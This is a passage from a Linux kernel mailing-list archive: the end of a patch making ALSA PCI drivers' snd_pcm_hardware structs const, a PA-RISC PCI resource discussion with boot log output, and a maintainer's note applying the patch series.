@@ -328,7 +328,7 @@ static int snd_als300_ac97(struct snd_als300 *chip)
  * the card when it is running outside of legacy
  * mode.
  */
-static struct snd_pcm_hardware snd_als300_playback_hw =
+static const struct snd_pcm_hardware snd_als300_playback_hw =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_INTERLEAVED |
@@ -347,7 +347,7 @@ static int snd_als300_ac97(struct snd_als300 *chip)
 	.periods_max =		2,
 };
 
-static struct snd_pcm_hardware snd_als300_capture_hw =
+static const struct snd_pcm_hardware snd_als300_capture_hw =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_INTERLEAVED |
diff --git a/sound/pci/als4000.c b/sound/pci/als4000.c
index 7844a75..26b097e 100644
--- a/sound/pci/als4000.c
+++ b/sound/pci/als4000.c
@@ -592,7 +592,7 @@ static irqreturn_t snd_als4000_interrupt(int irq, void *dev_id)
 
 /*****************************************************************/
 
-static struct snd_pcm_hardware snd_als4000_playback =
+static const struct snd_pcm_hardware snd_als4000_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
@@ -611,7 +611,7 @@ static irqreturn_t snd_als4000_interrupt(int irq, void *dev_id)
 	.fifo_size =		0
 };
 
-static struct snd_pcm_hardware snd_als4000_capture =
+static const struct snd_pcm_hardware snd_als4000_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
index a40c918..de53c2a 100644
--- a/sound/pci/atiixp.c
+++ b/sound/pci/atiixp.c
@@ -1009,7 +1009,7 @@ static int snd_atiixp_pcm_hw_free(struct snd_pcm_substream *substream)
 /*
  * pcm hardware definition, identical for all DMA types
  */
-static struct snd_pcm_hardware snd_atiixp_pcm_hw =
+static const struct snd_pcm_hardware snd_atiixp_pcm_hw =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/atiixp_modem.c b/sound/pci/atiixp_modem.c
index 52e0ea7..a586635 100644
--- a/sound/pci/atiixp_modem.c
+++ b/sound/pci/atiixp_modem.c
@@ -834,7 +834,7 @@ static int snd_atiixp_pcm_hw_free(struct snd_pcm_substream *substream)
 /*
  * pcm hardware definition, identical for all DMA types
  */
-static struct snd_pcm_hardware snd_atiixp_pcm_hw =
+static const struct snd_pcm_hardware snd_atiixp_pcm_hw =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/bt87x.c b/sound/pci/bt87x.c
index de02342..d8ade87 100644
--- a/sound/pci/bt87x.c
+++ b/sound/pci/bt87x.c
@@ -353,7 +353,7 @@ static irqreturn_t snd_bt87x_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static struct snd_pcm_hardware snd_bt87x_digital_hw = {
+static const struct snd_pcm_hardware snd_bt87x_digital_hw = {
 	.info = SNDRV_PCM_INFO_MMAP |
 		SNDRV_PCM_INFO_INTERLEAVED |
 		SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -370,7 +370,7 @@ static irqreturn_t snd_bt87x_interrupt(int irq, void *dev_id)
 	.periods_max = 255,
 };
 
-static struct snd_pcm_hardware snd_bt87x_analog_hw = {
+static const struct snd_pcm_hardware snd_bt87x_analog_hw = {
 	.info = SNDRV_PCM_INFO_MMAP |
 		SNDRV_PCM_INFO_INTERLEAVED |
 		SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/cmipci.c b/sound/pci/cmipci.c
index a460cb6..a45245f 100644
--- a/sound/pci/cmipci.c
+++ b/sound/pci/cmipci.c
@@ -1477,7 +1477,7 @@ static irqreturn_t snd_cmipci_interrupt(int irq, void *dev_id)
  */
 
 /* playback on channel A */
-static struct snd_pcm_hardware snd_cmipci_playback =
+static const struct snd_pcm_hardware snd_cmipci_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_PAUSE |
@@ -1497,7 +1497,7 @@ static irqreturn_t snd_cmipci_interrupt(int irq, void *dev_id)
 };
 
 /* capture on channel B */
-static struct snd_pcm_hardware snd_cmipci_capture =
+static const struct snd_pcm_hardware snd_cmipci_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_PAUSE |
@@ -1517,7 +1517,7 @@ static irqreturn_t snd_cmipci_interrupt(int irq, void *dev_id)
 };
 
 /* playback on channel B - stereo 16bit only? */
-static struct snd_pcm_hardware snd_cmipci_playback2 =
+static const struct snd_pcm_hardware snd_cmipci_playback2 =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_PAUSE |
@@ -1537,7 +1537,7 @@ static irqreturn_t snd_cmipci_interrupt(int irq, void *dev_id)
 };
 
 /* spdif playback on channel A */
-static struct snd_pcm_hardware snd_cmipci_playback_spdif =
+static const struct snd_pcm_hardware snd_cmipci_playback_spdif =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_PAUSE |
@@ -1557,7 +1557,7 @@ static irqreturn_t snd_cmipci_interrupt(int irq, void *dev_id)
 };
 
 /* spdif playback on channel A (32bit, IEC958 subframes) */
-static struct snd_pcm_hardware snd_cmipci_playback_iec958_subframe =
+static const struct snd_pcm_hardware snd_cmipci_playback_iec958_subframe =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_PAUSE |
@@ -1577,7 +1577,7 @@ static irqreturn_t snd_cmipci_interrupt(int irq, void *dev_id)
 };
 
 /* spdif capture on channel B */
-static struct snd_pcm_hardware snd_cmipci_capture_spdif =
+static const struct snd_pcm_hardware snd_cmipci_capture_spdif =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER | SNDRV_PCM_INFO_PAUSE |
diff --git a/sound/pci/cs4281.c b/sound/pci/cs4281.c
index ee7ba4b..ec42476 100644
--- a/sound/pci/cs4281.c
+++ b/sound/pci/cs4281.c
@@ -847,7 +847,7 @@ static snd_pcm_uframes_t snd_cs4281_pointer(struct snd_pcm_substream *substream)
 	       snd_cs4281_peekBA0(chip, dma->regDCC) - 1;
 }
 
-static struct snd_pcm_hardware snd_cs4281_playback =
+static const struct snd_pcm_hardware snd_cs4281_playback =
 {
 	.info =			SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_INTERLEAVED |
@@ -872,7 +872,7 @@ static snd_pcm_uframes_t snd_cs4281_pointer(struct snd_pcm_substream *substream)
 	.fifo_size =		CS4281_FIFO_SIZE,
 };
 
-static struct snd_pcm_hardware snd_cs4281_capture =
+static const struct snd_pcm_hardware snd_cs4281_capture =
 {
 	.info =			SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_INTERLEAVED |
diff --git a/sound/pci/ens1370.c b/sound/pci/ens1370.c
index f0d978e..d4cd645 100644
--- a/sound/pci/ens1370.c
+++ b/sound/pci/ens1370.c
@@ -1059,7 +1059,7 @@ static snd_pcm_uframes_t snd_ensoniq_capture_pointer(struct snd_pcm_substream *s
 	return ptr;
 }
 
-static struct snd_pcm_hardware snd_ensoniq_playback1 =
+static const struct snd_pcm_hardware snd_ensoniq_playback1 =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1086,7 +1086,7 @@ static snd_pcm_uframes_t snd_ensoniq_capture_pointer(struct snd_pcm_substream *s
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_ensoniq_playback2 =
+static const struct snd_pcm_hardware snd_ensoniq_playback2 =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1106,7 +1106,7 @@ static snd_pcm_uframes_t snd_ensoniq_capture_pointer(struct snd_pcm_substream *s
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_ensoniq_capture =
+static const struct snd_pcm_hardware snd_ensoniq_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/es1938.c b/sound/pci/es1938.c
index 069902a..9d248eb 100644
--- a/sound/pci/es1938.c
+++ b/sound/pci/es1938.c
@@ -900,7 +900,7 @@ static int snd_es1938_pcm_hw_free(struct snd_pcm_substream *substream)
 /* ----------------------------------------------------------------------
  * Audio1 Capture (ADC)
  * ----------------------------------------------------------------------*/
-static struct snd_pcm_hardware snd_es1938_capture =
+static const struct snd_pcm_hardware snd_es1938_capture =
 {
 	.info =			(SNDRV_PCM_INFO_INTERLEAVED |
 				SNDRV_PCM_INFO_BLOCK_TRANSFER),
@@ -922,7 +922,7 @@ static int snd_es1938_pcm_hw_free(struct snd_pcm_substream *substream)
 /* -----------------------------------------------------------------------
  * Audio2 Playback (DAC)
  * -----------------------------------------------------------------------*/
-static struct snd_pcm_hardware snd_es1938_playback =
+static const struct snd_pcm_hardware snd_es1938_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/es1968.c b/sound/pci/es1968.c
index 2ec2b1c..0b1845c 100644
--- a/sound/pci/es1968.c
+++ b/sound/pci/es1968.c
@@ -1290,7 +1290,7 @@ static snd_pcm_uframes_t snd_es1968_pcm_pointer(struct snd_pcm_substream *substr
 	return bytes_to_frames(substream->runtime, ptr % es->dma_size);
 }
 
-static struct snd_pcm_hardware snd_es1968_playback = {
+static const struct snd_pcm_hardware snd_es1968_playback = {
 	.info =			(SNDRV_PCM_INFO_MMAP |
                		         SNDRV_PCM_INFO_MMAP_VALID |
 				 SNDRV_PCM_INFO_INTERLEAVED |
@@ -1311,7 +1311,7 @@ static snd_pcm_uframes_t snd_es1968_pcm_pointer(struct snd_pcm_substream *substr
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_es1968_capture = {
+static const struct snd_pcm_hardware snd_es1968_capture = {
 	.info =			(SNDRV_PCM_INFO_NONINTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/pci/fm801.c b/sound/pci/fm801.c
index 8e6b04b..73a67bc 100644
--- a/sound/pci/fm801.c
+++ b/sound/pci/fm801.c
@@ -599,7 +599,7 @@ static irqreturn_t snd_fm801_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static struct snd_pcm_hardware snd_fm801_playback =
+static const struct snd_pcm_hardware snd_fm801_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -619,7 +619,7 @@ static irqreturn_t snd_fm801_interrupt(int irq, void *dev_id)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_fm801_capture =
+static const struct snd_pcm_hardware snd_fm801_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c
index fcd032e..851ccff 100644
--- a/sound/pci/intel8x0.c
+++ b/sound/pci/intel8x0.c
@@ -1115,7 +1115,7 @@ static snd_pcm_uframes_t snd_intel8x0_pcm_pointer(struct snd_pcm_substream *subs
 	return bytes_to_frames(substream->runtime, ptr);
 }
 
-static struct snd_pcm_hardware snd_intel8x0_stream =
+static const struct snd_pcm_hardware snd_intel8x0_stream =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/intel8x0m.c b/sound/pci/intel8x0m.c
index 2f1b878..3a4769a 100644
--- a/sound/pci/intel8x0m.c
+++ b/sound/pci/intel8x0m.c
@@ -611,7 +611,7 @@ static int snd_intel8x0m_pcm_prepare(struct snd_pcm_substream *substream)
 	return 0;
 }
 
-static struct snd_pcm_hardware snd_intel8x0m_stream =
+static const struct snd_pcm_hardware snd_intel8x0m_stream =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/maestro3.c b/sound/pci/maestro3.c
index cafea6d..97ac80a 100644
--- a/sound/pci/maestro3.c
+++ b/sound/pci/maestro3.c
@@ -1681,7 +1681,7 @@ static irqreturn_t snd_m3_interrupt(int irq, void *dev_id)
 /*
  */
 
-static struct snd_pcm_hardware snd_m3_playback =
+static const struct snd_pcm_hardware snd_m3_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED |
@@ -1702,7 +1702,7 @@ static irqreturn_t snd_m3_interrupt(int irq, void *dev_id)
 	.periods_max =		1024,
 };
 
-static struct snd_pcm_hardware snd_m3_capture =
+static const struct snd_pcm_hardware snd_m3_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED |
diff --git a/sound/pci/rme32.c b/sound/pci/rme32.c
index e4cdef9..f0906ba 100644
--- a/sound/pci/rme32.c
+++ b/sound/pci/rme32.c
@@ -314,7 +314,7 @@ static int snd_rme32_capture_copy_kernel(struct snd_pcm_substream *substream,
 /*
  * SPDIF I/O capabilities (half-duplex mode)
  */
-static struct snd_pcm_hardware snd_rme32_spdif_info = {
+static const struct snd_pcm_hardware snd_rme32_spdif_info = {
 	.info =		(SNDRV_PCM_INFO_MMAP_IOMEM |
 			 SNDRV_PCM_INFO_MMAP_VALID |
 			 SNDRV_PCM_INFO_INTERLEAVED | 
@@ -340,7 +340,7 @@ static int snd_rme32_capture_copy_kernel(struct snd_pcm_substream *substream,
 /*
  * ADAT I/O capabilities (half-duplex mode)
  */
-static struct snd_pcm_hardware snd_rme32_adat_info =
+static const struct snd_pcm_hardware snd_rme32_adat_info =
 {
 	.info =		     (SNDRV_PCM_INFO_MMAP_IOMEM |
 			      SNDRV_PCM_INFO_MMAP_VALID |
@@ -365,7 +365,7 @@ static int snd_rme32_capture_copy_kernel(struct snd_pcm_substream *substream,
 /*
  * SPDIF I/O capabilities (full-duplex mode)
  */
-static struct snd_pcm_hardware snd_rme32_spdif_fd_info = {
+static const struct snd_pcm_hardware snd_rme32_spdif_fd_info = {
 	.info =		(SNDRV_PCM_INFO_MMAP |
 			 SNDRV_PCM_INFO_MMAP_VALID |
 			 SNDRV_PCM_INFO_INTERLEAVED | 
@@ -391,7 +391,7 @@ static int snd_rme32_capture_copy_kernel(struct snd_pcm_substream *substream,
 /*
  * ADAT I/O capabilities (full-duplex mode)
  */
-static struct snd_pcm_hardware snd_rme32_adat_fd_info =
+static const struct snd_pcm_hardware snd_rme32_adat_fd_info =
 {
 	.info =		     (SNDRV_PCM_INFO_MMAP |
 			      SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/pci/rme96.c b/sound/pci/rme96.c
index 2e19ba5..31b9a3d 100644
--- a/sound/pci/rme96.c
+++ b/sound/pci/rme96.c
@@ -384,7 +384,7 @@ struct rme96 {
 /*
  * Digital output capabilities (S/PDIF)
  */
-static struct snd_pcm_hardware snd_rme96_playback_spdif_info =
+static const struct snd_pcm_hardware snd_rme96_playback_spdif_info =
 {
 	.info =		     (SNDRV_PCM_INFO_MMAP_IOMEM |
 			      SNDRV_PCM_INFO_MMAP_VALID |
@@ -415,7 +415,7 @@ struct rme96 {
 /*
  * Digital input capabilities (S/PDIF)
  */
-static struct snd_pcm_hardware snd_rme96_capture_spdif_info =
+static const struct snd_pcm_hardware snd_rme96_capture_spdif_info =
 {
 	.info =		     (SNDRV_PCM_INFO_MMAP_IOMEM |
 			      SNDRV_PCM_INFO_MMAP_VALID |
@@ -446,7 +446,7 @@ struct rme96 {
 /*
  * Digital output capabilities (ADAT)
  */
-static struct snd_pcm_hardware snd_rme96_playback_adat_info =
+static const struct snd_pcm_hardware snd_rme96_playback_adat_info =
 {
 	.info =		     (SNDRV_PCM_INFO_MMAP_IOMEM |
 			      SNDRV_PCM_INFO_MMAP_VALID |
@@ -473,7 +473,7 @@ struct rme96 {
 /*
  * Digital input capabilities (ADAT)
  */
-static struct snd_pcm_hardware snd_rme96_capture_adat_info =
+static const struct snd_pcm_hardware snd_rme96_capture_adat_info =
 {
 	.info =		     (SNDRV_PCM_INFO_MMAP_IOMEM |
 			      SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/pci/sis7019.c b/sound/pci/sis7019.c
index 3518887..964acf3 100644
--- a/sound/pci/sis7019.c
+++ b/sound/pci/sis7019.c
@@ -159,7 +159,7 @@ struct sis7019 {
  * We'll add a constraint upon open that limits the period and buffer sample
  * size to values that are legal for the hardware.
  */
-static struct snd_pcm_hardware sis_playback_hw_info = {
+static const struct snd_pcm_hardware sis_playback_hw_info = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_MMAP_VALID |
 		 SNDRV_PCM_INFO_INTERLEAVED |
@@ -180,7 +180,7 @@ struct sis7019 {
 	.periods_max = (0xfff9 / 9),
 };
 
-static struct snd_pcm_hardware sis_capture_hw_info = {
+static const struct snd_pcm_hardware sis_capture_hw_info = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_MMAP_VALID |
 		 SNDRV_PCM_INFO_INTERLEAVED |
diff --git a/sound/pci/sonicvibes.c b/sound/pci/sonicvibes.c
index 784d762..a8abb15 100644
--- a/sound/pci/sonicvibes.c
+++ b/sound/pci/sonicvibes.c
@@ -776,7 +776,7 @@ static snd_pcm_uframes_t snd_sonicvibes_capture_pointer(struct snd_pcm_substream
 	return bytes_to_frames(substream->runtime, ptr);
 }
 
-static struct snd_pcm_hardware snd_sonicvibes_playback =
+static const struct snd_pcm_hardware snd_sonicvibes_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -795,7 +795,7 @@ static snd_pcm_uframes_t snd_sonicvibes_capture_pointer(struct snd_pcm_substream
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_sonicvibes_capture =
+static const struct snd_pcm_hardware snd_sonicvibes_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
index c767b86..3a1c0b8 100644
--- a/sound/pci/via82xx.c
+++ b/sound/pci/via82xx.c
@@ -1150,7 +1150,7 @@ static int snd_via8233_capture_prepare(struct snd_pcm_substream *substream)
 /*
  * pcm hardware definition, identical for both playback and capture
  */
-static struct snd_pcm_hardware snd_via82xx_hw =
+static const struct snd_pcm_hardware snd_via82xx_hw =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/via82xx_modem.c b/sound/pci/via82xx_modem.c
index 55f79b2..8a69221 100644
--- a/sound/pci/via82xx_modem.c
+++ b/sound/pci/via82xx_modem.c
@@ -714,7 +714,7 @@ static int snd_via82xx_pcm_prepare(struct snd_pcm_substream *substream)
 /*
  * pcm hardware definition, identical for both playback and capture
  */
-static struct snd_pcm_hardware snd_via82xx_hw =
+static const struct snd_pcm_hardware snd_via82xx_hw =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1



From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Sat, 12 Aug 2017 23:15:43 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20170812211543.GA24661@alpha.franken.de>
References: <20170803140717.GA7380@alpha.franken.de>
 <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
 <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
 <20170808134012.GA7601@alpha.franken.de>
 <7312dbc6-bfba-a25b-a639-6ff7bad35e11@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502572562 5303 195.159.176.226 (12 Aug 2017 21:16:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 21:16:02 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 12 23:15:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dgdlD-0000wA-4R
	for glpp-linux-parisc@m.gmane.org; Sat, 12 Aug 2017 23:15:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751494AbdHLVQB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 12 Aug 2017 17:16:01 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:48022 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751490AbdHLVQA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 12 Aug 2017 17:16:00 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1dgdlM-0002HG-00; Sat, 12 Aug 2017 23:16:04 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 7273350835D; Sat, 12 Aug 2017 23:15:43 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <7312dbc6-bfba-a25b-a639-6ff7bad35e11@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27664
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27664>

On Tue, Aug 08, 2017 at 05:48:33PM +0200, Helge Deller wrote:
> Maybe the drivers of such NIC/SCSI cards don't request all available
> resources? 

log is clear that the pci probing stuff is not able to setup pci resources.
And that's nothing a driver fix up later (without dirty tricks of course).
The problem is that dino code doesn't set the space_offset of the host
bridge correctly for 64bit kernels. Will send a patch later.

Now aty driver is happy with the mach64 card:

atyfb 0000:00:03.0: runtime IRQ mapping not provided by arch
atyfb 0000:00:03.0: enabling device (0082 -> 0083)
atyfb 0000:00:03.0: enabling SERR and PARITY (0083 -> 01c3)
atyfb: ATI264VT2 (A4) (Mach64 VT) [0x5654 rev 0x40]
atyfb: 512K RESV, 14.31818 MHz XTAL, 200 MHz PLL, 67 Mhz MCLK, 67 MHz XCLK
Console: switching to colour frame buffer device 80x30
atyfb: fb0: ATY Mach64 frame buffer device on PCI

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH 00/16] ALSA: PCI: constify snd_pcm_hardware const
Date: Sat, 12 Aug 2017 23:32:35 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <s5hefsgwjyk.wl-tiwai@suse.de>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1502573558 27771 195.159.176.226 (12 Aug 2017 21:32:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 21:32:38 +0000 (UTC)
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/25.2
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Cc: <alsa-devel@alsa-project.org>, <jayakumar.alsa@gmail.com>,
        <clemens@ladisch.de>, <julia.lawall@lip6.fr>,
        <T-Bone@parisc-linux.org>, <perex@perex.cz>,
        <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>
To: "Bhumika Goyal" <bhumirks@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 23:32:34 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dge1K-00071L-An
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 23:32:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752181AbdHLVci (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 17:32:38 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:46185 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751494AbdHLVcg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 17:32:36 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 7094EAABA;
        Sat, 12 Aug 2017 21:32:35 +0000 (UTC)
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547380 gmane.linux.alsa.devel:170569 gmane.linux.ports.parisc:27665
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547380>

On Sat, 12 Aug 2017 17:31:12 +0200,
Bhumika Goyal wrote:
> 
> Declare snd_pcm_hardware const. 
> Done using Coccinelle.
> 
> Bhumika Goyal (16):
>   ALSA: aw2: make snd_pcm_hardware const
>   ALSA: ca0106: make snd_pcm_hardware const
>   ALSA: cs46xx: make snd_pcm_hardware const
>   ALSA: korg1212: make snd_pcm_hardware const
>   ALSA: cs5535audio: make snd_pcm_hardware const
>   ALSA: emu10k1: make snd_pcm_hardware const
>   ALSA: lola: make snd_pcm_hardware const
>   ALSA: lx6464es: make snd_pcm_hardware const
>   ALSA: mixart: make snd_pcm_hardware const
>   ALSA: ctxfi: make snd_pcm_hardware const
>   ALSA: pcxhr: make snd_pcm_hardware const
>   ALSA: riptide: make snd_pcm_hardware const
>   ALSA: rme9652: make snd_pcm_hardware const
>   ALSA: trident: make snd_pcm_hardware const
>   ALSA: ymfpci: make snd_pcm_hardware const
>   ALSA: pci: make snd_pcm_hardware const

Applied all 16 patches.  Thanks.


Takashi


From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
